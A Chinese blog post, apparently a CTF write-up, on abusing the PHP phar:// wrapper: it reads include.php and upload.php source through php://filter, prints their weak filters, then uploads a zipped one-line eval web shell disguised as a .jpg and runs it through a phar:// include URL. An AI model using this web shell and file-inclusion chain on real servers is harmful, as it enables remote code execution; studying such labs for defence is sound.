php伪协议之phar

一.phar协议

用于将多个 PHP 文件、类、库、资源(如图像、样式表)等打包成一个单独的文件。这个归档文件可以像其他 PHP 文件一样被包含(include)或执行。PHAR 归档提供了一种方便的方式来分发和安装 PHP 应用程序和库,尤其是当它们包含许多文件和目录时

1.格式

将一句话木马(shell.php)压缩成压缩包形式(shell.zip),将压缩包后缀改为.jpg(shell.jpg)

phar://shell.jpg/shell.php

2.实操

点击题目链接,空白页面,查看源代码,发现include.php
在这里插入图片描述
include.php的源代码,有一个upload.php,且告诉参数是file
在这里插入图片描述
访问upload,是文件上传页面,上传木马文件发现不行
在这里插入图片描述
通过php://fifter,查看upload.php和include.php的源代码,(php伪协议)

?file=php://filter/read=convert.base64-encode/resource=include.php

发现报错,分析报错原因,知道它强制加后缀.php,这样图片马就上传不了

在这里插入图片描述

?file=php://filter/read=convert.base64-encode/resource=include

在这里插入图片描述
base64解码在这里插入图片描述代码分析,过滤了http|data|ftp|input|%00等字样,还强制在后缀加.php

<html>
Tips: the parameter is file! :) 
<!-- upload.php -->
</html>
<?php
    @$file = $_GET["file"];
    if(isset($file))
    {
        if (preg_match('/http|data|ftp|input|%00/i', $file) || strstr($file,"..") !== FALSE || strlen($file)>=70)
        {
            echo "<p> error! </p>";
        }
        else
        {
            include($file.'.php');
        }
    }
?>

同样方法得到upload.php

代码分析,只是一个白名单过滤,对文件的后缀和文件类型进行判断

<form action="" enctype="multipart/form-data" method="post" 
name="upload">file:<input type="file" name="file" /><br> 
<input type="submit" value="upload" /></form>

<?php
if(!empty($_FILES["file"]))
{
    echo $_FILES["file"];
    $allowedExts = array("gif", "jpeg", "jpg", "png");
    @$temp = explode(".", $_FILES["file"]["name"]);
    $extension = end($temp);
    if (((@$_FILES["file"]["type"] == "image/gif") || (@$_FILES["file"]["type"] == "image/jpeg")
    || (@$_FILES["file"]["type"] == "image/jpg") || (@$_FILES["file"]["type"] == "image/pjpeg")
    || (@$_FILES["file"]["type"] == "image/x-png") || (@$_FILES["file"]["type"] == "image/png"))
    && (@$_FILES["file"]["size"] < 102400) && in_array($extension, $allowedExts))
    {
        move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $_FILES["file"]["name"]);
        echo "file upload successful!Save in:  " . "upload/" . $_FILES["file"]["name"];
    }
    else
    {
        echo "upload failed!";
    }
}
?>
上传shell.jpg,这个文件是shell.php压缩后,将.zip后缀改为.jpg后缀

shell.php内容:<?php @eval($_POST[c]);?>
payload:
http://hazelshishuaige.club:8040/include.php?file=phar://upload/shell.jpg/shell

在这里插入图片描述
蚁剑连接
在这里插入图片描述flag在根目录下
在这里插入图片描述

相关推荐

  1. PHP协议详解

    2024-02-20 16:02:04       47 阅读
  2. PHP协议详解

    2024-02-20 16:02:04       47 阅读
  3. PHP 协议详解

    2024-02-20 16:02:04       42 阅读
  4. 深入理解 PHP 协议

    2024-02-20 16:02:04       45 阅读

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-02-20 16:02:04       94 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-02-20 16:02:04       100 阅读
  3. 在Django里面运行非项目文件

    2024-02-20 16:02:04       82 阅读
  4. Python语言-面向对象

    2024-02-20 16:02:04       91 阅读

热门阅读

  1. python数据分析numpy基础之var求数组方差

    2024-02-20 16:02:04       49 阅读
  2. 缓存使用常见思路及问题

    2024-02-20 16:02:04       30 阅读
  3. BUG:required a single bean, but 2 were found:

    2024-02-20 16:02:04       46 阅读
  4. Prompt Engineering 提示工程教程详情

    2024-02-20 16:02:04       51 阅读
  5. LeetCode_20_简单_有效的括号

    2024-02-20 16:02:04       50 阅读
  6. Github 2024-02-19 开源项目日报 Top10

    2024-02-20 16:02:04       65 阅读
  7. RabbitMq相关面试题

    2024-02-20 16:02:04       48 阅读
  8. 用户头像(图片文件)上传(Vue + nodejs 前后端)

    2024-02-20 16:02:04       48 阅读